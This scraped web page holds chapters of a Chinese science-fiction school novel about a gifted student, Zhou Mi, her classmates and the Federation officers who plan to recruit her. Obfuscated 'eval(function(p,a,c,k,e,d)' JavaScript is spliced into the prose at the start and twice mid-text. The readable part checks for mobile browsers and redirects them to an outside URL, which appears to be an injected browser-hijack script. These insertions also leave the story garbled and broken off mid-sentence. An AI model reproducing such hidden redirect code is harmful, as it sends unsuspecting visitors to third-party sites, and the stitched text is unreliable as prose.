RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330237|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要怎么办,才能只做自己想做的事情呢? 一株不知名的野草在长椅下舒展,迎接早晨的太阳,又想起炽音,陪着自己待在这充满了诡异之处的“418”街道内的蝴蝶小人。生命的拐点是如此突然,炽音忽然就被人为剥夺离开她身边。 她整晚无法入睡,只觉得这是个无法醒来的噩梦。 耳边响起明刹咋咋呼呼的声音,“是不是这辆车啊?我们上去吧,我跟你不是一个年纪,好难过。” 他先上了车,亮出自己的学生证,见到生面孔的班车老师仔细观察一番,过放他进去,看到周觅上车了,老师好笑道,“昨晚去干嘛了,这么困的样子?” “最近作业好多。”周觅抱怨了句作业,这就是她这个年纪该想的事情。 老师关心的问了几句作业情况,得到满意答复也放她进去坐着,周觅靠窗坐着,车上基本坐满了,这里是班车的带学生的最后一站,下一站就是学校停车场。 明刹在她前面坐着,已经和周觅面熟的几个同学聊上天了,收回目光,周觅拆开瓶装牛奶小口小口喝着,车身带着他们腾空快速飞行,穿梭过北部大厦时,里面仍然坐着在灯火通明的情况下,一直打睡眠补充剂,24小时工作的白领。 “不上军校,就做在北部大厦内工作到死的社畜吗?” 脑海中忽然响起一道严厉的女声,是谁说的来着,周觅片刻的失神,忽然车一阵急刹,她的牛奶洒了几滴到前面的明刹后颈,匆忙说了句抱歉,找了纸巾给他,让他自己擦,明刹摆摆手不在意道,“没事没事,行,我自己擦。” 看了眼周觅确实没有要帮自己擦的意思,他失望了一瞬,拜托周觅告诉自己自己在哪,牛奶沫子擦完了,班车也继续开动。 “怎么回事?”有坐在更后排的学生,害怕地出声,开车的司机勾过头好笑道,“应该是撞死了只鸟,经常有被蓝粒感染的鸟,不长眼的乱撞。” 稳住了学生们的心,司机用袖子抹了下自己额头的汗,呼出口堆积在嗓子眼的气,一脚油门踩下去,继续开他已经连续开了三年的班车。这班车工作清闲极了,就一早一晚接学生送学生而已。 周觅喝不下去牛奶了,她与溅在车窗的一点血迹长久的对视,和明刹互看一眼,两人都知道绝非那么简单,可没人会在这时候不长眼说些让学生害怕的话。 学校七点开始上课,明刹与周觅在电梯间分别,一个去四楼一个去五楼,明刹上高二,今天得先去年纪主人那报道,三个年级三个年级主任,陶明这位高一的主任带他去找高二的年级主任。 陶明和郑□□同是帝国后裔,这也是为什么明刹不拒绝哥哥的提议,来到米拉尔星球中心学院的原因之一,他对这人也充满了好奇。 陶明与已经归顺联邦的郑/明/慧不同,他不愿意接受联邦的军衔,明明实力也不低,多次决绝科尔维斯军校的邀请,还是待在只在米拉尔星球出名的中心学院内。 “陶老师,您还在这呢,我还以为你已经在主星了。”明刹看他为自己办理手续,坐在办公桌后的椅子上,靠在椅背上,动作恣意,陶明眼皮掀起,看了他一眼,礼貌道,“我不喜欢主星的氛围。” “主星是所有人的追求。” “不是我的,明少爷您要允许有些人天生就不是为权利和金钱服务的。”陶明反驳明刹,他身为帝国后裔,七岁前都享受着前仆后继的追崇,然而,帝国被联邦取代到现在已经40年了,陶明一点没有天上人间的落差感,他的确有资格说这句话。 明刹眼眸四下一动,凑近了些问他,“你觉得周觅呢?她会想去主星吗?” “你和郑少校过来,不就是为了带走她吗?”陶明也坐下来,他神色淡淡的,但语气始终有种看谁先沉不住气的嘲讽感,明刹把这归结于这位帝国太子的气性。 任务本就不是什么重大的机密,明刹没想瞒陶明,当然也准备不瞒着周觅,只是周觅情绪内敛,她不会这么突然出口说出点让大家脸色都不好的话,明刹接过他递给自己的转学手续表,两人没有光脑好友,不能线上传递,不过纸张的触感,让明刹想起医院内被周觅也捏过的药单子,嘴角忍不住地翘起来。 只要签了自己的名字,在两年内他是回不去主星了,明刹想这两年会很有意思,因为对方是周觅。 陶明还看着呢,明刹正色道,“联邦每年都会在宇宙各大星球选择十最有潜力的人,加以培养,上一届十个人中就有我,所以我被选择出来监视这次十个人中最出色的周觅,按照联邦给她规划好的路线,她会是联邦三大元帅的有力竞争者。” 这话已经是联邦内部对她的最高赞赏了,可陶明摇摇头,他在被拜托照顾这个女学生之前,就已经注意到她了。 陶明没见过比她对精神力的绝对掌控还要好的人,甚至精神力给她带来了一定困扰,这说出去一定会被各大军校提前扩招走,但不行,陶明深知少年天才大多数夭折的缘故,太过快速的揠苗助长,最后一定会倒在成功前夕。 “不止。” “什么?”明刹挑眉,意识到陶明对周觅未来的预测,明刹惊诧也只敢放在心里,他轻笑摇头,“或许。” 陶明不管明刹内心想什么,只是低低又重复一遍。 “不止。” 12.消失的街道(四) 今天中区天气很不好,昨晚开始下了一场淅淅沥沥的小雨,直到现在也没有恢复天晴,缇娜仍旧早早来到学校,拿着为学生们收的信件一一分发到他们的座位。 她坐下来,一头金色的长发编了个麻花辫垂在她圆乎乎的脑后,转了个身与周觅对上了眼神。 缇娜立马眨眨自己颇大的蓝眼睛,蓝眸流淌着的温柔化成了水,一股脑涌进两人的目光汇集处。 她抱着厚厚的书籍塞在桌屉里,她随手一翻,桌屉里不知道是谁给的表白信掉出来落在周觅脚边,周觅不声张,迅速低头弯腰帮她捡起来。缇娜脸上一双沉静的蓝眸害怕地紧缩,伸手夺过,赶紧拿着这些见不得人的东西,皱皱巴巴捏成一团揣进自己不大的小包内。 “周觅,你看见是谁给我的信了吗?”缇娜简直费解,她不是没看过表白信件,跟前面几封都一样,看笔迹是同一位主人公,到底是谁这么锲而不舍,缇娜也只能叹口气,每天做贼一样,把这些信件聚齐起来,回家之前烧了,不然被韦德先生发现,少不得一阵盘问。 “没有,还是那个人?”话才一出口,缇娜丧着一张脸点头,她一早上提心吊胆的过来,果然就有这封信的存在,一天要怎么安心上课? 周觅听她说过这人,给缇娜造成的阴影不小,有时候早中晚来个三封,字里行间都是对缇娜的喜欢,但就是不露面,周觅置身处地的想一下,这么被人关注着,多少会带点心理压力。 拍了拍缇娜瘦削的小臂,察觉她有些瘦了,周觅安慰她一番又肯定道,“你把后面的信件都收集起来,我帮你一起找这人,不信找不出来。” 缇娜往周觅身边凑了凑,贝齿咬住红润的下唇,可怜兮兮道,“谢谢你,周觅,我请你吃饭吧。还有这个也给你,我昨天逛街去买的梅子,特别好吃。” “不用不用,还没帮你找出来,你就要请我吃饭了?韦德小姐也太大方了。”周觅眉眼真诚地弯了弯,她只轻轻捏起一个放进微启的唇齿中。 梅子的酸气与糖霜甜腻的味觉在舌尖炸开,周觅被酸的眼睛忍不住紧闭起来,她捂住嘴硬生生让它在舌尖愈发凶猛地冲击味觉神经,眼眶内不禁积蓄了生理性的泪水。 “缇娜,这梅子好酸。”周觅灌了一大口水,晃了晃已经被酸味浸泡透的舌尖神经。 “我觉得很好吃啊,我心情不好就吃一个,酸酸甜甜的。” 缇娜本是好意,她又从自己的储物戒内拿出一大把糖罐子,疯狂给周觅塞糖,“那你吃这个,我也喜欢这个。” 话都没说完,老师已经站在门口,班级内一下噤了声,两人也不说话了,只在桌屉下玩你推我让的游戏,墙角却有一道目光死死黏在两人身上,恶狠狠地盯着周觅的背后看了又看,愤怒地撕扯可怜的书本,恨不得扣烂这些无用的文字。写了那么多酸诗臭词,一点用没有,缇娜还是没有注意到他,反而和周觅关系越来越好,他怎么能不恨! 讲台上的老师注意到他心思不在学习上,咳了两声,提醒道,“有些同学,我注意你好久了,能不能不要盯着人家同学看,看自己面前的书?” 老师的脸对着面前的投屏,没有对着某位同学,周觅意识到一道黏腻的眸光很久了,她猛地回头,可靠墙角的几个问题学生全都埋头睡觉,一个都没闲心投来眼神,太耽误他们睡觉了。 周觅凌厉淡漠的眼神在那几人低垂的头颅上一一扫过,她垂下眼帘收回目光,缓缓转头之际,墙角某人低垂头颅下的眼睛正以一种翻白眼的角度偷看周觅的动作,注意到周觅彻底转过头去,他在阴影下的嘴角撇了撇,露出个嘲讽的弧度,立马把头抬起来,眼神也肆意在周觅和缇娜两人身上打转。 至于第三排周觅从缇娜手上借来的小梳妆镜,一五一十地将这位男同学硕大的脸满满盛在里面,周觅两手端着镜身,仿佛在端着某人已经被砍断的头颅。 “可能是薛质,坐在倒数第二排墙边的男生。”其实不用周觅介绍的这么仔细。才说出薛质的名字,缇娜身为班长立马知道他坐哪了,只见缇娜眼珠一动,她摇头否认,“应该不是他。” 她双手交叠在一起揉了揉,“应该不是他,他跟我一样住在地下城,就住我家旁边,性格还不错呢,我跟他从小长到大,他不是那种藏着掖着的人,胆子特别大,要真是他,早就跟我说了。” 毕竟也只是猜测,周觅没权利左右别人的思想,不反驳,只是问起缇娜,“你知道418街道的事情吗?那里最近出了好几桩命案。” “418街道吗?它不是在边防线外面吗?不可能住人,怎么会出现命案,我父亲倒是跟我说418街道迁移后的新街道发生了命案,你不是也住在那里吗?”缇娜后怕地劝周觅,“你别住那里了,来地下城吧,我父亲认识好多手里有房源的人,你想住什么样的都行,我帮你找,价格什么的保证你满意。” 缇娜不懂周觅怎么会住那里,但注意到她说什么的周觅愣了几秒,眼睫毛快速颤动几下,抑制住自己浑身的战栗,只是点头勉强道,“好,谢谢你,我回去跟我父母说一声。” “你最好今晚就别住那里了,我父亲告诉我说,那里早就没多少人住了,大多数是流浪汉和一些工作特殊的人,星际网络上接任务的确能赚不少钱,但都是铤而走险的,随时在拿命换钱。”缇娜注意老师扫过这里一眼,声音立马低了下去,可她的手又到桌子下面,扯了扯周觅的袖子,示意周觅一定要把她的话放在心上。 周觅呼出一口压抑在体内已久的气,道了句谢,拿起笔开始记笔记,但内心的一汪池塘已经被外界的消息搅得浑浊不堪了,她低下头一时间有点听不进去老师的声音,等她平复下来已经是十分钟后,跟着同学们“哗哗”地翻书声,她也往后翻了一页,这才投入听课中去。 下课十五分钟,周觅坐电梯下楼,去无人的小亭子内和周父周母打电话,以往打他们电话都要好几个才接,今天一打就通,周觅的话还没组织好呢,对面和她一样沉默了几秒,这才都同一时间开口。 “爸妈。” “女儿,怎么来电话了?” 周觅看光脑的通话进行中标志,踢了踢路旁的小石子,对着电话那头的周父周母道,“418街道最近出了好几起命案,我不想住在家那边了,我想去地下城租房子,可以吗?” 周父周母在电话里静了好久没出声,半天才软和声线跟小女儿说话,“我们这边有点忙,我们晚上给你打电话可以吗?” “好的。” 这通周觅不想打似乎对面也不太乐意接的电话终于结束,周觅垂下眼帘,看到被自己踢到一旁的小石子正咕噜咕噜地滚到已经长满绿意盎然的草堆里去,再无踪迹。 上午最后一节课是郑同玉的理论课,她拿着一本崭新的书进来,随手扔在讲台上,环顾一圈讲台下的同学们,原本都在说话打闹的同学们一时鸦雀无声,像是被谁关了音响。 她不介绍自己姓氏名谁,家住何方,芳龄几许,指着薛质让他起来,“你来说说看,米拉尔星球的粒子都有哪些。” 薛质似乎没想到这位只有一面之缘的老师会喊自己起来,他有些仓皇,紧紧捏着自己的衣角站起来,眼神下意识朝只给他一个背影的缇娜扫过去。 脚尖在地上摩挲几下,踢了踢地面,他嗫嚅着唇低下头不敢抬眼,“老师,我不知道。” 声音小的蚊子嗡似的,郑同玉匪夷所思,她灰绿色的眼眸内本来就兴致不高,听了薛质这话,眼眸一转,嘴角往上冷漠地斜了斜,略有些不屑地移开目光,终究是没说什么。 薛质大松一口气,他快速舔了下自己的唇角,刚要坐下去,就听郑同玉呵斥道,“让你坐了吗?” 郑同玉上下打量这个怪异的男生,她对于即使只有一面之缘的人,七天内都能准确回忆出来时某时某刻在哪里见过,薛质就更不同了,郑同玉星期六晚上在地下城见过他,估计是正打球回去,和几个年纪都不大的男生勾肩搭背,好不灿烂,现在就像是被换了芯似的。 “后面站着去。”郑同玉不再看他第二眼,抬手指着缇娜,班级里唯一金发碧眼的姑娘缇娜,“你起来说说看。” “粒子除了主星特拉克星球,各大星球或多或少都有一些,不过米拉尔星球最严重,分别是北区蓝粒,南区红粒,东区紫粒,西区黄粒。北区大概率是将死去的非人物种灵魂按照其精神力构成精神力磁场,危害人类生命,也会将受到外伤的人类感染,变成杀人机器。”缇娜站起来,她的声音温温柔柔,讲解其书本上枯燥不堪的知识别有一番意味,周觅在桌下给她竖个大拇指,缇娜一甩头发,骄傲的抬了抬下巴。 郑同玉饶有兴致地盯着她好一会,示意她可以坐下了,灰绿的眸中只倒映出某人悄咪咪翻书的身影,“周觅,我听你们班主任说你的理论课只能在班级中游,高一马上要选择科目分班,你想选什么?” 周觅还以为她会抽自己背书,被她喊中名字,立马轻轻合上书本,站起身等着她提问,却等来这番询问,周觅如实说,“我不知道。” 不知道吗? 郑同玉又不是外人,她见过周觅的作战与反应速度。被联邦派下来,她就是要将周觅引导到最适合联邦给予的位置上去,“粒子研究,外交语言,机甲制作,指挥战场,机甲兵,军医,这些你觉得你最适合什么?” 联邦的确给予了郑同玉要求,但不代表郑同玉就一定要听联邦的话,无论周觅选择什么,郑少校都可以将其培养成联邦想要的人才。 “我会选择指挥战场。”周觅出声,但语气淡淡的,周围有人露出羡慕的神情,这是精神力高作为底气才能拥有的可选择性。 职业选择在军校内有鄙视链,指挥战场的学生需要超高精神力联系到战场每一部机甲每一位士兵,整个战场布局需要全在自己脑海中呈现,所谓排兵布阵这才是指挥官。 科尔维斯军校的指挥系只有一个班,整个星系每年招不满20个人,这二十个人里面又有多少愿意归顺联邦? 星际里面有名有姓的大星球超过五千个,无名无姓的数也数不清。在星际中愿意归顺主星联邦的一半都不到,外交语言的需求仅此于指挥战场,谁知道哪一天就要爆发宇宙级别的战争,联邦不会允许自己落败,因此疯狂在星际间寻找人才,制定计划。 郑同玉面前的周觅就是联邦这一年十人计划中的重中之重,她必须选择指挥战场,如果不选,没人会设想这个结局,联邦给予周觅的,周觅必须接受,没有第二个选择。 “你的选择不错,坐下吧。”郑同玉灰绿色然后内溢出点他自己也没察觉出的笑意,看上去始终浮了一层冰的脸软和几分。 她踩着军靴“吧嗒吧嗒”地与讲台地面发出轻响,双手撑在讲桌上,打量一圈在底下都在窃窃私语讨论着选什么科的同学们。 敲了敲桌面,她拔高声线,“同学们!” 讲台下一堆眼神迅速射过来,几十个人的视线瞬间布满郑同玉整张脸。 “已经是四月份了,你们六月份会进行期末考试,在期末考试前都由我来带你们的指挥战场与粒子理论课。”郑同玉边说边走下讲台,在座位宽大的间隙间缓慢穿梭。 她停下脚步,立在周觅的桌子旁边,继续道,“我希望你们在下半年开学前,前往几个粒子区探查一番,我的理论课我不喜欢一直在教室粒夸夸其谈,你们粒子研究实验课大多数是待在实验室,实在是不可取。” “下半年一开学我就会带你们先后前往西区,南区,东区,至于北区,就由生活在北区的周觅同学担任领导的职责,好了,自己看看书吧,我先回办公室了。”郑同玉走上讲台,利落拿走自己带过来扔在讲桌上二十分钟不到的新书,估计这位少校翻都没翻一下。 她前脚刚在教室外面消失,后脚班级就吵闹起来,几 有男生嗤笑一声,抱怨道,“什么啊,我还以为主星来的能给我们教什么呢,就这?” 他坐在薛质后面,趴在桌子上抖腿,一抖腿前面的薛质也能感觉到,薛质回头阴恻恻地看了他一眼,暗含警告,男生嫌弃地翘起凳子往后仰,伸手推他一推,“你什么表情啊你,昨天给你发消息打篮球你为什么不去?” “我…我没收到。”薛质背对着他,低下头,原本瘦削下巴的皮肉像是埋在肉里的线崩了,鼓鼓囊囊地堆成几层厚厚的下巴,看上去实在不协调。 坐在薛质后面的李阳鄙夷地踹了一脚薛质的凳子,“你说话大点声,以前也没见你这样,被人恶搞打了两针雌激素吧,是不是啊?啊?” 见薛质不理自己,他踹的力度重了些,缇娜注意到他们这里,立马拔高声线,“李阳,再踹就出去。” “行行行,我不踢了,韦德小姐你可别告诉你爸爸啊。”他挤眉弄眼地说完,周围立马传来嘲弄的声音,李阳周围的男女生东倒西歪笑作一团,真是好不热闹。 “郑老师一直在后门没走,你们要继续笑吗?” 周觅借了缇娜的书在一旁翻着,因为她这骤然将冰块投入沸水一般的话,几分钟内安静到只有周觅不快不慢地翻书声,窗外抽芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三个人就这么僵在这里,周觅心理隐隐地也不想回去,情绪占了上风,她干脆同意,“行,我跟你去地下城玩吧,但爸爸妈妈不同意的话,我明晚还是得回去。” 那地方又不是什么洪水猛兽,即使真会吃人,没吃到周觅,周觅觉着自己都无法说动父母。 “去哪里去哪里?我也要去。”明刹扯着周觅书包带子不松手,缇娜狐疑地看他一眼,“你是谁?” “我是谁,我是她朋友。”明刹对着周觅努努嘴,他略有点被看轻的意味,从鼻子里哼一声,明显不高兴。 周觅才不管他高不高兴,将书包从两人手里抢夺过来,稳稳背在自己身上,确保不会被两人再左抢右抢,这才像老鹰抓小鸡的鸡妈妈,带着两只小鸡出门去了。 晚上的地下城生活那就太丰富了,几人坐通往地下城的列车不过半小时已经抵达入口区域。 “光脑上面出示证件,我们需要检查。”入口处的安检员坐在凳子上,请几人将右手腕的光脑贴在上面,打开身份证界面,蓝光扫描仪同时扫描他们全身和证件,完全重合,立马让人进去。 “你们两个人都不是地下城居民,每24小时需要向我们重新提交进入申请,我们建议不要卡点提交,可能会被统一清除。超过二十四小时我们会发出警告,被加入黑名单48小时,48小时内都不允许进入地下城,明白吗?” 检查人员拿出进入地下城协议,几人一一签过字,检查人员立马拍了上传,随后把每人签过字的协议递给他们,“收好,各个街道都有检查人员,可能会要你们出示证件。” 等周觅和明刹拿到协议,缇娜赶紧拉着周觅往前去搭环游列车,“我们先去吃火锅,然后去心湖那里看天鹅吧,那边风景不错的。” 她兴高采烈的排着接下来的行程,周觅听着她愉悦的尾音,脸上的笑容同样也没下去过。 明刹第一次来地下城,左看看右看看,买了一堆新奇玩意放自己储物戒里。 “你这位朋友是哪里来的?这些东西都很便宜的,人家漫天要价他也不还价。”缇娜眼里的明刹就是人傻钱多,眼见着明刹又要美美支付近一千米拉尔星球币,缇娜赶紧用肘部捣捣周觅。 周觅伸手按住要付钱的明刹,看了眼瞪大眼睛等待天外来财的店家,又看了眼眨巴眨巴眼睛的明刹,周觅叹口气,“这东西根本不值这个价。” 她从明刹手里拿过东西,对老板道,“老板您也实诚点,报个合理点的价格,我朋友多买两个您看行不行?” “行行行,还是小姑娘会说话,小伙子,你拿个两个,我给你打八折。” 老板蹲在自己的摊位上,地下城空气循环不好,路面上摊位便宜,却也热的他满额头热汗,正拿着根烟深一口浅一口地抽,烟熏雾绕地看不清脸。他笑眯眯地点头同意,看上去就是个热情的老大叔。 周觅好像忽然懂了明刹为什么一直在外面疯狂购物,就身旁的明刹却已经蹲下来把钱付了,是没打八折前的价格。 “我想让他们多赚点,外面好热,他们连一个冷气风扇都舍不得买。”明刹吃饭的时候,不知道怎么又想到老板的脸了,他夹了一筷子菜没动,喝了口水才就继续说,“我小叔明怀准三岁前被人抱走本来是准备杀掉的,但那杀手却突然不准备动手了,把他放到一农户人家门口,他被收养,从此成了农户的小儿子,家里太穷了,从来没上过学,一直帮着家里卖菜,直到我和父亲去找他。” 明刹对这个早早去世,比自己大十五岁的小叔一直很心疼,他低下头,将脸埋在暗处的阴影里,“我第一次见他,他晒的很黑,人也很瘦,大热天身上的汗馊味我隔很远都能闻见,我跟爸爸说我讨厌他,那年我三岁,后面他回家了,我跟他很少见面,但他总会买零食给我吃,做错了事情,父亲惩罚我的时候,他会帮着说话。” “可十年前,他被总统派来查人类与非人物种通婚一事,永远死在了这里,他也才二十三岁。” 因为明怀准是天才,他拥有和周觅一样的绝对精神力控制天赋,但不知道如何使用,导致一只耳朵听不见,没人知道究竟是不是这只耳朵给他带来的致命一击。 他直视缇娜的一双蓝眸,“我相信你—韦德小姐,也一定听你父亲提起过联邦每年在星际选择十人作为种子选手,成为联邦人才力量。” 明刹和缇娜说话,同时用手点了点缇娜身旁的周觅,转过脸来面向她郑重道,“周觅,你就是联邦3900年选择的十人之一,你必须要在这十人之中做到最好。我不是在威胁你,如果你厌恶联邦,那么你至少需要为它服务十年才能离开,相信我,我会帮你离开。” 他说的恳切,缇娜因他这一席话,紧锁眉头也许在思考他这番话的真假。 周觅背靠在椅子上,软塌塌的靠垫护住她的腰,她黑漆漆的眸子在蒸腾上升的雾气中,莹莹水光一瞬,唇角只是轻轻一勾而已,笑意不达眼底,仍然保持绝对谨慎,“好啊。” 13.消失的街道(五) 特拉克星球 距离收到信件已经有几天了,都晏来不及回信,他跟随军队回到主星当晚,进行身体检查,他出现高热现象,明显是被感染了,可检测器显示他生命体征正常。 他主动请缨,“我请求在禁闭室内待满四十八小时。” 已经是特拉克星球的星期一早晨,这里比米拉尔运行时间要晚十二个小时,远没有米拉尔北部的寒冷,春在悄然降临,柔软瓣子的花卉已经全开了。 禁闭室并不在地下,地下是犯人或受罚的士兵,他则在地上一层,能看见天色从暗到亮,再从亮到暗,日月交替中就这么过去近四十八小时。 不软不硬的床榻旁有一扇很大的窗户,窗外一大丛月季已经开花,细闻似乎能嗅到它从墙体缝隙内飘进来的浓烈香气。 在禁闭室内什么都可以做,很放松,他完全可以借着绝对放松的四十八小时,写完给周觅的回信,但莫名的,他只想在家里那张小小的书桌前借着台灯的光,在牛皮信纸上落下他对她感激的字迹。 其实信件已经快写完了,是他不知道应该寄到哪里去,地址显示米拉尔星球北部茉莉区没有418街道这个地方,他寄过去就是这个地址,既然没有这个地方,又怎么被她收到的呢? 都晏觉着有点奇怪,或许可以问一问蒋恒。蒋恒的信件内对他发出会面邀请,都晏今天再忙也得抽个时间过去。 他坐在禁闭室的小桌子前,起码一米九的身高与在军队的常年锻炼,让他看上去都快溢出桌子横截面。 秦远跟着监禁室看管人员进来接他的时候,就是这么一幕,晏哥正坐在摇摇欲坠的小桌子上拿了本《米拉尔粒子论》翻看着,遇到了难以理解的地方,轻蹙眉头,说不出来的认真。 这么多年,要问秦远最佩服谁,那肯定是自己晏哥,人家到紧闭室来都满腹怒火,浑身长跳蚤似的待不住,都晏倒好,人家主动要来的,实在是佩服啊! 脚尖在地上摩挲了两下,他穿着军靴踢了踢地面,双手插兜靠着门,嘴角往上斜了斜,“晏哥,走啊,真准备在这住下了?” 都晏将书放到自己的储物戒里,对秦远勾唇暖暖一笑很高兴秦远来接自己,立马起身收拾其余私人物品,摇摇欲坠的小桌子终于得以缓上一口气。 秦远走进去坐在他叠好被子的床脚,看都晏被监禁室管理人员用蓝光进行扫描。 “没有感染迹象,可以回去了。”收起扫描仪器,监禁室管理人员用指纹识别,请人进来打扫房间换洗被子,保证下一个人进来前是消过毒的。 顺带着他也请都晏与秦远出去,秦远跟在都晏后面,他之前的伤口已经都好了,打了几针药剂,一点疤痕也没留下,不妨碍他和最近科尔维斯军校军医系某个大四女学生约会。 “晏哥,直接回去?”两人一前一后才出监禁大楼,秦远立马上来勾住都晏肩膀,都晏摇头,“不,我先去蒋上将那里,你要去吗?” 秦远想想还是算了,他比不得都晏和蒋恒起码都是指挥系的同学,他完全就是蒋恒的下属,毫无更亲密的关系。 又不放心都晏一个人去,他十分有义气地一挑眉,“我跟你上去一起打个招呼吧。” “好,晚上请你吃饭,想吃什么?”都晏抬脚往行政部大楼走,现在是早晨九点,蒋恒应该也已经到办公室了。 “烧烤,好久没出去喝酒了,今晚不醉不归啊。” 想起科尔维斯军校旁边的老兵烧烤,秦远一阵止不住地咂舌,听名字也知道是哪些人开的,只要是军校出的学生,去了统一送一箱冰啤酒,不要太爽。 都晏就知道他要去老兵烧烤,好笑地拍了拍秦远硬挺笔直的后背,应了声带着他坐电梯抵达第二十二层,蒋恒办公室就在这一层。 二十二层以上全是禁止外人随意踏足的机密之地,联邦内部对这个仅仅二十四岁,就能抵达第二十二层的蒋将军一直都是猜忌与害怕并存。 与另几位上将不同,蒋恒办公室所在的第二十二层永远是过度安静的冷冽。 在秦远眼里,能找到一两个不爱说话,每天就埋头苦看文件的闷油瓶已经很不容易,蒋恒这里竟然有整整一层,实在吓人。 秦远没有一次是心甘情愿来这里的,多数是同都晏一起,基本上他只会和蒋恒问一声好,蒋恒情绪起伏也不多,只会点头回问一句近况,接下来就都是都晏和蒋恒你一言我一语的来回拉扯。 不得不说曾经都是指挥系的两人,就是能把大部分人都觉得无趣的话题进行下去,这的确是一种可贵的能力。 蒋恒的秘书刚好从他办公室出来,小细高跟踩在地板上,吧嗒吧嗒地发出轻响,秦远和她是老同学,两人打了个招呼,他上前快速从储物戒里摸出一束漂亮的鲜花递给她,“好久不见啊,大美女,感觉变瘦了点,脸也白了,比上学的时候更好看了。” 这又是送花又是赞美,女秘书本来如常冷漠的表情变了变,嘴角很快浮起一抹怎么也下不去的笑,便没有那么拒人千人之外了。 “别贫了,你和都上校过来找蒋将军是吧?”她捧着花,上身是一套灰色的西装外套,里面却穿了一件红格子裙,这一束小雏菊被她抱在胸前,衬的她脸白的透亮。 都晏走近,打个招呼,她向都晏行个军礼,努努嘴,示意两人凑近点,“昨晚我和蒋上将还有几个军校学生在加班,他晚上九点半左右接了个电话,从米拉尔星球来的,之后脸色一直不好,今天早上心情也很差,你们进去注意点。” 怀里抱着的花随着她低声说话,顺带着将身体往前倾的动作,不断颤动。 都晏和秦远眼神撞了下,都晏很快转过脸来,客气道,“承蒙你照顾,不然我们进去指不定要惹出让将军不高兴的事情来。” “都上校你说什么他都不会生气好不好。”莫璃嗔怪地一蹙眉,刚巧有人喊她,估计是有急事,她恢复公事公办的冷漠表情,搭着小高跟吧嗒吧嗒地走到走廊尽头了,还不忘回头拿着包扎精美地一小束花对秦远晃了晃。 等她走远了,两人朝蒋恒办公室走,秦远邀功似的撞了下都晏肩膀,眨眨眼睛,都晏拍拍他肩膀,肯定道,“你做事我一直都很放心的,当年和我一起到主星来,我就说过,你不比我差,晋升永远不是衡量一个人的标准,他们说的话,你别放在心上,再有下一次,我会写信往上报。” “那还是别了。”秦远低头,脚尖在地上划了几下,他摇头,像是不愿意让家长替自己出头的小孩子,“我不要,他们军衔还没我高呢,你别写信。” “好,我不写。”都晏担心地瞧着他,秦远和他从小就认识,两人从A—4090星球就一起来到主星,那年A—4090只有他们两人被科尔维斯军校带走,上一次有人被带走是十八年前。 整个数几十亿的星球人口,就出了这么两个孩子,然而天才聚集地科尔维斯军校,全是几十亿人为分母,他们为分子的天才。 都晏看着秦远碎落在眼角的发丝,替他撇开,干燥的手掌搭上秦远的后颈揉了揉,“你做的已经很好了,一直在成长,一直不退缩。秦远,我们是家人,家人之间从来没有麻烦不麻烦,能说不能说的事情。我一直以你为傲,就像你以前也认为你最崇拜的人就是我一样。” 秦远抿抿唇,潋滟的眸子四下乱瞟就是不敢看都晏,对他费劲地扯出个笑,用力地推了推他,“你进去吧,我在外面等你。” 知道秦远要时间理清自己的情绪,都晏收回自己搭在其后颈的手,轻声道,“好,别走远。” 言罢,他顺着走廊窗户透过的光,黑色的军靴踩在细碎的光斑中,缓步走近蒋恒办公室门前,他抬手敲了敲紧闭的门。 里面很快传来蒋恒的声音,“进。” 蒋恒刚好伸手拿过装红茶的白瓷杯子,红唇轻触水面,都晏就在这时推门进来。蒋恒没有冷落他人的习惯,干脆放下自己的杯子,起身绕过长长的桌案和都晏互相敬礼后,礼节性地握手,温和问道,“你才从禁闭室出来吧,是我想见见你,不是大事情,不用这么着急。” “我来跟您汇报关于我身上的蓝粒感染情况。”都晏在他示意的沙发边坐在下,蒋恒给他倒了杯温热的水,都晏赶紧伸手接过。 “原来是这件事。”蒋恒往沙发的柔软靠背靠了靠,他端着自己的杯子抿口水,很快放下,宽大的手掌平放在自己的膝盖上敲几下,这才道,“联邦说你没事,那暂且就不会有大问题,别太担心,如果有事情,给我打电话,我会立马过去。” 指挥系班级出来的学生精神力皆奇高无比,最差的估计都有2S,不怪都晏担心自己,他倒不是怕死,如果给特拉克星球造成了一定影响,他会很自责。 “你晚上有其他安排吗?我请你吃饭吧,刚好有事情跟你聊。” “晚上可能不行。”都晏推脱,就算蒋恒是上司,他也不能和秦远说好了再毁约。 蒋恒跟他是老同学,又在一起任职这么多年,怎么可能不知道为什么,他一抬下巴,“约了别人?” “是的。” “行。”眼见都晏确实没时间,蒋恒回忆自己的行程安排表,错过今晚他在半个月内也很难有空出一整晚的时间,干脆道,“我听说你有来自米拉尔星球的来信?” 信件不是秘密,都晏点头承认,蒋恒的脸色还是一贯如常的温和,但坐在他对面的都晏还是看出了点别样意味,都晏一挑眉,“怎么了?” 意识到自己的情绪外泄过分明显,蒋恒掩饰性地一笑,温和却不温暖的眼神在都晏身上打个转。 “我和她家关系不错,她父母最近告诉我她有点心绪不宁,我还以为是那封信的缘故。” 在联邦里,信件不是秘密,身份不是秘密,和谁交好都不是秘密,血统更不是,只要想查什么都可以查出来,蒋恒目前的级别是第二十二楼,他只能知道具体有这么个东西,至于内容无权限查看,但二十三层以上的就不一定了,只要他们想知道就都可以,甚至可以篡改信件内容,但没人做这么无聊的事情。 蒋恒想,如果自己是二十二层上面的人,他一定会改信件内容,他不允许有东西偏离他原先设定好的轨道。 他更不会没礼貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周觅起身一把抽走被缇娜和明刹两人死死拽着的账单,立马将光脑的支付界面打开,干净利落地结了账,听见入账的响声,老板递了包小点心给三人,“好的,感谢惠顾哈,吃的好咱们就下次再来捧场,吃的不好咱就也提着东西快快乐乐离开,祝您几位万事如意心想事成。” 行至门边,有一道稍高的门槛,老板也出声道,“您小心走着,注意脚下。” 